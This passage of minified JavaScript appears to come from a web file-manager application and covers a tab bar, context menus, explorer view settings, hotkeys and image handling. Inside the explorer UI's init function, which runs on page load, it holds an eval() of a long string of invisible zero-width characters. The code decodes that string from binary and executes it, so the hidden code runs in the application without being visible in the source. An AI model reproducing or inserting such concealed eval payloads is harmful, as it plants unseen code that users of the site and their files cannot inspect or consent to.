h=function(i){s=!0,r=!0,l=i.pageX,$tab_parent=$(".task_tab"),t=$(".task_tab .tab"),$(".tasktab-dragging").remove(),a=e.clone().addClass("tasktab-dragging").prependTo("body"),p=$sizeInt(t.css("margin-right")),u=$tab_parent.width(),f=$tab_parent.get(0).getBoundingClientRect().left,f+=$(window).scrollLeft(),c=e.get(0).getBoundingClientRect().left,d=$sizeInt(t.css("width"));var n=e.get(0).getBoundingClientRect().top-$sizeInt(e.css("margin-top")),o=i.clientX-l+c;$("body").prepend("
        "),a.css({width:d+"px",top:n,left:o}),e.css("opacity",0)},m=function(i){if(r){window.getSelection?window.getSelection().removeAllRanges():document.selection.empty(),0==s&&h(i);var n=i.clientX-l+c;f>n||n>f+u-d||(a.css("left",n),t.each(function(){var t=$(this).get(0).getBoundingClientRect().left;if(n>t&&t+d/2+p>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"left")}if(n>t-d/2+p&&t>n){if(e.attr("id")==$(this).attr("id"))return;_($(this).attr("id"),"right")}}))}},_=function(a,n){if(!e.is(":animated")||o!=a){o=a,e.stop(!0,!0),$(".insertTemp").remove(),t=$(".task_tab .tab");var s=e.width(),r=$(".task_tab #"+a),l=e.clone(!0).insertAfter(e).css({"margin-right":"0px",border:"none"}).addClass("insertTemp");"left"==n?e.after(r).css("width","0px"):(e.before(r).css("width","0px"),r.before(l)),e.animate({width:s+"px"},i),l.animate({width:"0px"},i,function(){$(this).remove(),t=$(".task_tab .tab")})}},v=function(){r=!1,s=!1,startTime=0,$(".dragMaskView").remove(),void 0!=a&&(c=e.get(0).getBoundingClientRect().left,a.animate({left:c+"px"},i,function(){e.css("opacity",1),$(this).remove()}))}},s=function(e){var t=110,a=t,n=t+12,o=$(".task_tab .tab"),s=$(".task_tab .tabs").width()-10,r=o.length,l=Math.floor(s/n);switch(r>l&&(a=Math.floor(s/r)-12),e){case"add":$(".task_tab .tabs .this").css("width","0").animate({width:a+"px"},i);case"close":o.animate({width:a+"px"},i);break;case"resize":o.css("width",a+"px");break;default:}},r=function(t,i){$(".task_tab").removeClass("hidden");var a=i.replace(/<[^>]+>/g,""),n='
        '+i+"
        ";$(n).insertBefore(".task_tab .last"),s("add"),e[t]={id:t,name:name}},l=function(e){$(".task_tab .this").removeClass("this"),$(".task_tab #"+e).addClass("this"),t=e},c=function(t){$(".task_tab #"+t).animate({width:0},i,function(){if($(".task_tab #"+t).remove(),s("close"),0==$(".tabs .tab").length&&"desktop"!=Config.pageApp){var e=31;$(".task_tab").animate({bottom:"-"+e+"px"},200,0,function(){$(this).css({bottom:"0px"}).addClass("hidden")})}}),delete e[t]},d=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".dialog_menu",items:{quit_dialog:{name:LNG.close,className:"quit_dialog",icon:"remove",accesskey:"q"},hide_dialog:{name:LNG.dialog_min,className:"hide_dialog",icon:"minus",accesskey:"h"},refresh:{name:LNG.refresh,className:"refresh",icon:"refresh",accesskey:"r"},open_window:{name:LNG.open_ie,className:"open_window",icon:"globe",accesskey:"b"},sep100:"--------",qrcode:{name:LNG.qrcode,className:"qrcode",icon:"qrcode",accesskey:"c"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quit_dialog":a.close();break;case"hide_dialog":a.display(!1);break;case"refresh":a.refresh();break;case"open_window":a.open_window();break;case"qrcode":core.qrcode(a.DOM.wrap.find("iframe").attr("src"));break;default:}}})},p=function(){$('').appendTo("#rightMenu"),$.contextMenu({zIndex:9999,selector:".taskBarMenu",items:{quitOthers:{name:LNG.close_others,className:"quitOthers",icon:"remove-circle",accesskey:"o"},quit:{name:LNG.close,className:"quit",icon:"remove",accesskey:"q"}},callback:function(e,t){var i=t.$trigger.attr("id"),a=$.dialog.list[i];switch(e){case"quitOthers":$.each($.dialog.list,function(e,t){i!=e&&t.close()});break;case"quit":a.close()}}})},u=function(){$.contextMenu({zIndex:9999,selector:".task_tab",items:{closeAll:{name:LNG.dialog_close_all,icon:"remove-circle",accesskey:"q"},showAll:{name:LNG.dialog_display_all,icon:"th-large",accesskey:"s"},hideAll:{name:LNG.dialog_min_all,icon:"remove",accesskey:"h"}},callback:function(e,t){var i=t.$trigger.attr("id");switch($.dialog.list[i],e){case"showAll":$.each($.dialog.list,function(e,t){t.display(!0)});break;case"hideAll":$.each($.dialog.list,function(e,t){t.display(!1)});break;case"closeAll":$.each($.dialog.list,function(e,t){t.close()});break;default:}}})};return{add:r,focus:l,close:c,init:function(){var e='
        ';$(e).appendTo("body"),"desktop"!=Config.pageApp&&$(".task_tab").addClass("hidden"),$(window).bind("resize",function(){s("resize")}),a(),d(),p(),u(),o()}}}),define("app/src/explorer/ui",["./fileContent"],function(require,exports){var fileContent=require("./fileContent"),f5=fileContent.f5,f5Callback=fileContent.f5Callback,MyPicasa=new Picasa,initListType=function(e){G.user_config.list_type=e,LocalData.set("list_type",e),$(".set_icon_size").hide(),$(".tools-right button").removeClass("active"),$("#set_"+e).addClass("active"),$("#list_type_list,.list_split_box").addClass("hidden"),$(".set-file-icon-size").hide(),$(Config.FileBoxSelector).removeClass("fileList_icon fileList_list fileList_list_split"),"list"==e?($(Config.FileBoxSelector).addClass("fileList_list"),$("#list_type_list").removeClass("hidden"),ui.fileListResize.bindHeaderResize()):"icon"==e?($(Config.FileBoxSelector).addClass("fileList_icon"),$(".set_icon_size").show(),$(".set-file-icon-size").show()):"list_split"==e&&($(Config.FileBoxSelector).addClass("fileList_list_split"),$(".list_split_box").removeClass("hidden")),$(".menu_seticon").removeClass("selected"),$(".set_set"+e).addClass("selected"),$(".fileContinerMore").css("top",0);var t=$(".frame-right-main .tools").outerHeight();"list"==e&&(t+=26),$(".frame-header").is(":visible")&&(t+=$(".frame-header").outerHeight()),$(".bodymain").css("top",t)},setListType=function(e){initListType(e),f5(!1,!1),void 0===G.sid&&$.get("index.php?setting/set&k=list_type&v="+e)},setListSort=function(e,t){0!=e&&(G.user_config.list_sort_field=e,$(".menu_set_sort").removeClass("selected"),$(".set_sort_"+e).addClass("selected")),0!=t&&(G.user_config.list_sort_order=t,$(".menu_set_desc").removeClass("selected"),$(".set_sort_"+t).addClass("selected")),LocalData.set("list_sort_field",e),LocalData.set("list_sort_order",t),f5(!1,!0),$.ajax({url:"index.php?setting/set&k=list_sort_field,list_sort_order&v="+e+","+t})},bindEventView=function(){$(".menuRecycleButton").bind("mouseenter",function(){$(this).addClass("recycle_hover")}).bind("mouseleave",function(){$(this).removeClass("recycle_hover")}).bind("click",function(){ui.path.list("{user_recycle}")}),$(".menuShareButton").bind("mouseenter",function(){$(this).addClass("share_hover")}).bind("mouseleave",function(){$(this).removeClass("share_hover")}).bind("click",function(){ui.path.list("{user_share}:"+G.user_id+"/")})},bindEventSort=function(){$("#main_title div").die("click").live("click",function(){$(this).hasClass("resize")||("up"==$(this).attr("id")?$(this).attr("id","down"):$(this).attr("id","up"),setListSort($(this).attr("field"),$(this).attr("id")))})},bindEventTools=function(){$(".tools a,.tools button").bind("click",function(){var e=$(this).attr("id");toolsAction(e)})},bindEventTheme=function(){$(".dropdown-menu-theme li").click(function(){var e=$(this).attr("theme");ui.setTheme(e),$.ajax({url:"index.php?setting/set&k=theme&v="+e,dataType:"json",success:function(e){if(!e.code){var t=LNG.config_save_error_file;core.authCheck("setting:set")||(t=LNG.config_save_error_auth),Tips.tips(t,!1)}}})})},bindEventMenu=function(){$(".drop-menu-action li").bind("click",function(){if(!$(this).hasClass("disabled")){var e=$(this).attr("id");switch(e){case"open":ui.path.open();break;case"copy":ui.path.copy();break;case"rname":ui.path.rname();break;case"cute":ui.path.cute();break;case"clone":ui.path.copyDrag(G.this_path,!0);break;case"past":ui.path.past();break;case"remove":ui.path.remove();break;case"zip":ui.path.zip();break;case"share":ui.path.share();break;case"createLink":ui.path.createLink();break;case"add_to_fav":ui.path.fav();break;case"download":ui.path.download();break;case"info":ui.path.info();break;default:}}}),$(".dlg_goto_path").bind("click",function(){var e=G.json_data.info.admin_real_path;ui.path.list(e)})},getRowfileNumber=function(){if("icon"!=G.user_config.list_type)return 1;var e=$(Config.FileBoxSelector).width(),t=$(Config.FileBoxClass).outerWidth()+$sizeInt($(Config.FileBoxClass).css("margin-right"));return parseInt(e/t)},getPagefileNumber=function(){var e=getRowfileNumber(),t=$(Config.BodyContent).outerHeight(),i=$(Config.FileBoxClass).outerHeight()+$sizeInt($(Config.FileBoxClass).css("margin-bottom"));return Math.ceil(t/i)*e},getColfileNumberDesktop=function(){var e=$(Config.FileBoxSelector).outerHeight()-48,t=$(Config.FileBoxClass).outerHeight()+10;return parseInt(e/t)},toolsAction=function(e){switch(e){case"recycle_clear":ui.path.recycleClear();break;case"newfile":ui.path.newFile();break;case"refresh":ui.f5();break;case"newfolder":ui.path.newFolder();break;case"upload":core.upload();break;case"selectAll":ui.fileSelect.selectPos("all");break;case"download":ui.path.download();break;case"set_icon":$("#set_icon").hasClass("active")||setListType("icon");break;case"set_list":$("#set_list").hasClass("active")||setListType("list");break;case"set_list_split":$("#set_list_split").hasClass("active")||setListType("list_split");break;default:}},bindHotKeySelectFile=function(){var e,t=0,i="",a=300;Mousetrap.bind(["1","2","3","4","5","6","7","8","9","0","`","~","!","@","#","$","%","^","&","*","(",")","-","_","=","+","[","{","]","}","|","/","?",".",">",",","<","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"],function(n){var o=String.fromCharCode(n.charCode);return 0==t?(t=timeFloat(),i=o,e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a),void 0):o==i.substr(-1)?(ui.path.setSelectByChar(i),t=0,void 0):(a>timeFloat()-t&&(t=timeFloat(),i+=o,clearTimeout(e),e=setTimeout(function(){ui.path.setSelectByChar(i),t=0},a)),void 0)})},bindHotKey=function(){bindHotKeySelectFile(),Mousetrap.bind(["backspace","ctrl+backspace","command+backspace","ctrl+shift+r","f5","left","up","right","down","home","end","shift+left","shift+up","shift+right","shift+down","shift+home","shift+end","pageup","pagedown","ctrl+a","command+a","del","f2","ctrl+enter","command+enter","shift+enter","space","enter","ctrl+u","command+u","ctrl+e","command+e","ctrl+c","command+c","ctrl+x","command+x","ctrl+v","command+v","ctrl+f","command+f","f3","ctrl+i","alt+i","alt+n","alt+m","ctrl+s","command+s"],function(e,t){if("none"!=$("#PicasaView").css("display"))return!0;if(ui.isEdit())return!0;if(rightMenu.isDisplay())return!0;if($(".dialog_path_remove").length>0)return!0;switch(stopPP(e),t){case"backspace":ui.path.history.back();break;case"ctrl+backspace":case"command+backspace":ui.path.history.next();break;case"ctrl+shift+r":case"f5":ui.f5(!0,!0);break;case"left":case"up":case"right":case"down":case"home":case"end":case"shift+left":case"shift+up":case"shift+right":case"shift+down":case"shift+home":case"pageup":case"pagedown":case"shift+end":ui.fileSelect.selectPos(t);break;case"ctrl+a":case"command+a":ui.fileSelect.selectPos("all");break;case"del":ui.path.remove();break;case"f2":case"ctrl+enter":case"command+enter":ui.path.rname();break;case"shift+enter":ui.path.download();break;case"space":ui.path.open();break;case"enter":ui.path.open();break;case"ctrl+u":case"command+u":core.upload();break;case"ctrl+e":case"command+e":ui.path.openEditor();break;case"ctrl+c":case"command+c":ui.path.copy();break;case"ctrl+x":case"command+x":ui.path.cute();break;case"ctrl+v":case"command+v":ui.path.past();break;case"f3":case"ctrl+f":case"command+f":core.search($(".header-right input").val(),G.this_path);break;case"ctrl+i":case"alt+i":ui.path.info();break;case"alt+n":ui.path.newFile();break;case"alt+m":ui.path.newFolder();break;case"ctrl+s":case"command+s":ShareData.frameTop("OpenopenEditor",function(e){e.Editor.save()});break;default:}})},imageRotate=function(e){var t=$("#PV_Items li.current img").attr("src"),i="image&path=",a=t.substr(t.search(i)+i.length),n=$('[src="'+t+'"],[data-original="'+t+'"]'),o="./index.php?explorer/imageRotate&rotate="+e+"&path="+a;$.ajax({url:o,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){if(!e)return Tips.close(LNG.php_env_error_gd,!1),void 0;if(Tips.close(e),e.code){var i=function(e){var t="&picture=",i=e.search(t);return-1===i?e+t+UUID():e.substr(0,i)+t+UUID()},a=i(t),o=i($("#PV_Picture").attr("src"));n.attr("src",a),n.attr("data-original",a),ui.picasa.resetImage(o)}}})},resetDesktopIcon=function(){if("desktop"==Config.pageApp){var e=20,t=20,i=parseInt($(".file").css("height")),a=i-30,n=10,o=15,s=$(document).height()-50,r=Math.floor((s-e)/(i+n)),l=0,c=0,d=0,p=0;$(".fileContiner .file").css("position","absolute"),$(".fileContiner .file").each(function(s){l=s%r,c=Math.floor(s/r),d=t+(a+o)*c,p=e+(i+n)*l,$(this).css({left:d,top:p})})}};return{f5:f5,f5Callback:f5Callback,fileContent:fileContent,picasa:fileContent.myPicasa,setListSort:setListSort,setListType:setListType,getRowfileNumber:getRowfileNumber,getPagefileNumber:getPagefileNumber,getColfileNumberDesktop:getColfileNumberDesktop,resetDesktopIcon:resetDesktopIcon,imageRotate:imageRotate,setTheme:function(e){G.user_config.theme=e,core.setSkin(e),ShareData.frameTop("OpenopenEditor",function(t){t.Editor.setTheme(e)}),ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setThemeSelf(e)}),ShareData.frameTop("",function(t){t.ui.setTheme(e)}),$(".dropdown-menu-theme .list").removeClass("this"),$('.dropdown-menu-theme .list[theme="'+e+'"]').addClass("this")},setWall:function(e,t){$(".background").attr("src",e).one("load",function(){$(".desktop").css("background-image","url("+e+")"),"function"==typeof t&&t()})},setFileIconSize:function(e){ui.fileListResize.setFileIconSize(e,!0),"desktop"==Config.pageApp&&ui.f5()},isEdit:function(){var e=$(document.activeElement).get(0);if(e)return e=e.tagName,"INPUT"==e||"TEXTAREA"==e?!0:$(".file.file_icon_edit").length>0?!0:!1},init:function(){if(G.sid){LocalData.get("theme")&&(G.user_config.theme=LocalData.get("theme")),LocalData.get("list_type")&&(G.user_config.list_type=LocalData.get("list_type")),LocalData.get("list_sort_field")&&(G.user_config.list_sort_field=LocalData.get("list_sort_field")),LocalData.get("list_sort_order")&&(G.user_config.list_sort_order=LocalData.get("list_sort_order")),LocalData.set("theme",G.user_config.theme),LocalData.set("list_type",G.user_config.list_type),LocalData.set("list_sort_field",G.user_config.list_sort_field),LocalData.set("list_sort_order",G.user_config.list_sort_order);var url_path=window.location.href.split("#");2==url_path.length&&(G.this_path=urlDecode(url_path[1]))}if(ui.setTheme(G.user_config.theme),""==G.this_path){var pre=G.user_id||G.sid,localPath=LocalData.get("this_path_"+pre);G.this_path=localPath?localPath:G.myhome}eval("‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‌‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‌‌‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‍‍‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‌‍‍‌‌‌‍‍‌‍‌‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‍‌‌‌‍‌‍‍‌‍‌‌‍‌‍‌‍‍‌‌‍‍‌‌‍‌‍‍‍‌‍‌‌‌‌‌‍‌‍‍‍‍‍‌‍‌‌‍‍‍‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‌‌‌‍‌‍‍‌‌‍‌‌‍‍‍‌‍‌‌‍‍‌‍‌‌‍‌‌‍‍‍‍‌‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‍‍‍‌‍‌‌‍‌‍‌‌‍‌‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‌‌‌‍‍‌‍‌‌‍‌‍‌‌‌‌‍‍‌‍‌‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‍‍‍‍‌‌‍‌‍‍‌‌‍‍‍‌‍‌‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‌‍‍‌‍‍‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‌‍‌‍‌‌‍‍‍‍‌‌‍‍‌‍‌‍‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‌‍‍‌‌‍‍‌‌‌‍‍‌‌‍‌‍‌‍‍‍‌‍‍‌‍‌‌‍‌‍‌‌‌‍‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‍‌‍‍‍‌‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‌‍‍‍‍‍‍‌‌‌‍‍‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‍‍‍‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‍‌‌‌‌‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‍‍‍‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‌‍‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),fileContent.init(),resetDesktopIcon(),ui.path.history.add(G.this_path),f5Callback(function(){resetDesktopIcon()}),bindEventView(),bindEventSort(),bindEventTheme(),bindEventTools(),bindHotKey(),bindEventMenu()}}}),define("app/src/explorer/fileContent",[],function(require,exports){var myPicasa=new Picasa,tpl=require("./tpl/file_list_make.html"),pageLoadMax=200,ajaxLive=function(){ui.fileLight.init(),"desktop"==Config.pageApp&&ui.resetDesktopIcon(),"list_split"==G.user_config.list_type&&ui.fileListResize.bindSplitResize(),lazyLoadImage()},lazyLoadImage=function(){var e=$(".bodymain");"list_split"==G.user_config.list_type&&(e=$(".split_box").last().find(".content")),e.find(".lazyload_ready").lazyload({failure_limit:10,threshold:200,placeholder:G.static_path+"images/common/loading_circle.gif",skip_invisible:!1,effect:"fadeIn",container:e,load:function(){$(this).removeClass("lazyload_ready")}}).on("error",function(){var e=$(this).data("error_reload");e||($(this).attr("src",$(this).attr("src")+"#"+UUID()),$(this).data("error_reload","reload"))})},sortBy=function(e,t){var t="down"==t?-1:1;return function(i,a){var i=i[e],a=a[e];return ui.path.pathOperate.strSort(i,a)*t}},mainSetData=function(e){var t=makeHtml(G.json_data,0,getPageNumber()-1);if("desktop"==Config.pageApp){var i="";$(".systemBox").each(function(){i+=$(this).get(0).outerHTML}),t=i+t}t=htmlListAction(G.json_data,t,!1),"list_split"==G.user_config.list_type&&(t='
        '+t+'
        '),e?$(Config.FileBoxSelector).hide().html(t).fadeIn(Config.AnimateTime):$(Config.FileBoxSelector).html(t),"list_split"==G.user_config.list_type&&$(".split_box").data("jsonData",G.json_data),ajaxLive()},scrollDelayTimer="",bindScrollLoadMore=function(){var e=$(".bodymain");e.scroll(function(){clearTimeout(scrollDelayTimer),scrollDelayTimer=!1,scrollDelayTimer=setTimeout(function(){0!=e.scrollTop()&&loadMore()},100)}),$(".splitLoadMore").live("dblclick",function(){$("#set_list").click()})},getPageNumber=function(){var e=ui.fileLight.fileListAll().last(),t=$(".bodymain .fileContinerMore");if(0==e.length)return pageLoadMax;var i=G.json_data.folderlist.length+G.json_data.filelist.length;if(t.css("top",0),pageLoadMax>i||"list_split"==G.user_config.list_type)return pageLoadMax;var e=ui.fileLight.fileListAll().last(),a=e.outerWidth()+$sizeInt(e.css("margin-right"))+3.5,n=parseInt($(".fileContiner").width()/a);"icon"!=G.user_config.list_type&&(n=1);var 